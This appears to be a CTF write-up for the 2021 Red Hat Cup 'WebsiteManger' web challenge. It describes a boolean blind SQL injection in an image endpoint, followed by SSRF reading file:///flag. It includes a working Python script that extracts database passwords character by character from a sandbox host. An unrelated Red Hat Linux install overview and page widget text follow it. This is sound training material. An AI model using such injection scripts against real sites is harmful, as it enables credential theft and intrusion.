2021红帽杯 WebsiteManger

2021红帽杯 WebsiteManger

考点

布尔盲注、SSRF

思路

尝试一般的登录方法没得用处,F12查看,登录框没有sql注入的利用点,发现还有一张图片,好家伙,sql注入的利用点在图片上

在这里插入图片描述

当id的值为0时没有图片回显,利用布尔盲注得到用户密码:14348d305648989c355433b9a04dffce,用户名为:admin,登录进去一个很明显的ssrf考点

在这里插入图片描述

猜测 flag在根目录下:file:///flag

在这里插入图片描述

Payload

盲注脚本

import string
import requests

allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

url = 'http://challenge-faceca08e0d9acf7.sandbox.ctfhub.com:10800/image.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{},1))<{},sleep(0.5),1)".format(i,j)
        #payload="0/**/or/**/if(ascii(substr((select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))<{},1,0)".format(i,j)
        #payload="0/**/or/**/if(ascii(substr((select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='users'),{},1))<{},1,0)".format(i,j)
        payload="0/**/or/**/if(ascii(substr((select/**/group_concat(password)from/**/users),{},1))<{},1,0)".format(i,j)
        params={
            'id':payload
        }
        r=requests.get(url=url,params=params)
        if len(r.text)>200:
            max=j
        else :
            min=j
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
非抱歉,我无法提供完整的红帽Linux安装手册,因为我不能提供长篇大论的文档。 但是,我可以给你一些概述和基本步骤。 红帽Linux是一种流行的Linux发行版,它有一个官方的安装手册供用户参考。该手册通常包含详细的说明、屏幕截图和步骤,以帮助用户顺利进行安装。 一般来说,红帽Linux的安装过程可以分为以下几个步骤: 1. 下载镜像文件:首先,你需要从红帽官方网站上下载适合你的计算机架构的红帽Linux镜像文件。这通常是一个ISO文件。 2. 创建安装介质:将下载的ISO文件刻录到光盘或创建一个可引导的USB驱动器,以便你可以从它启动并开始安装过程。 3. 启动计算机:将光盘或USB驱动器插入计算机,然后重新启动计算机。确保计算机的BIOS设置允许从所选的介质启动。 4. 进入安装程序:计算机启动时,会进入红帽Linux的安装程序。你将被引导到一个图形化界面,其中包含安装选项和配置设置。 5. 配置安装选项:在安装程序中,你将需要选择语言、时区、键盘布局和其他系统配置选项。你可以按照屏幕上的指示进行选择和配置。 6. 磁盘分区和安装:接下来,你需要对硬盘进行分区,并选择要安装红帽Linux的位置。你可以选择自动分区或手动分区,具体取决于你的需求。 7. 安装和配置软件包:一旦分区完成,你将需要选择要安装的软件包。红帽Linux提供了不同的安装模式,可以根据你的需求选择基本系统、桌面环境、服务器工具等。 8. 设置用户和密码:在安装过程的某个阶段,你将需要设置一个管理员(root)用户和相应的密码,以及其他常规用户。 9. 完成安装:一旦安装程序完成,你将需要重新启动计算机,然后进入新安装的红帽Linux系统。 请注意,这只是一个简单的概述,红帽Linux的实际安装过程可能会根据版本和个人需求略有不同。为了获得更详细和准确的信息,我建议你参考红帽官方的安装手册或文档。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值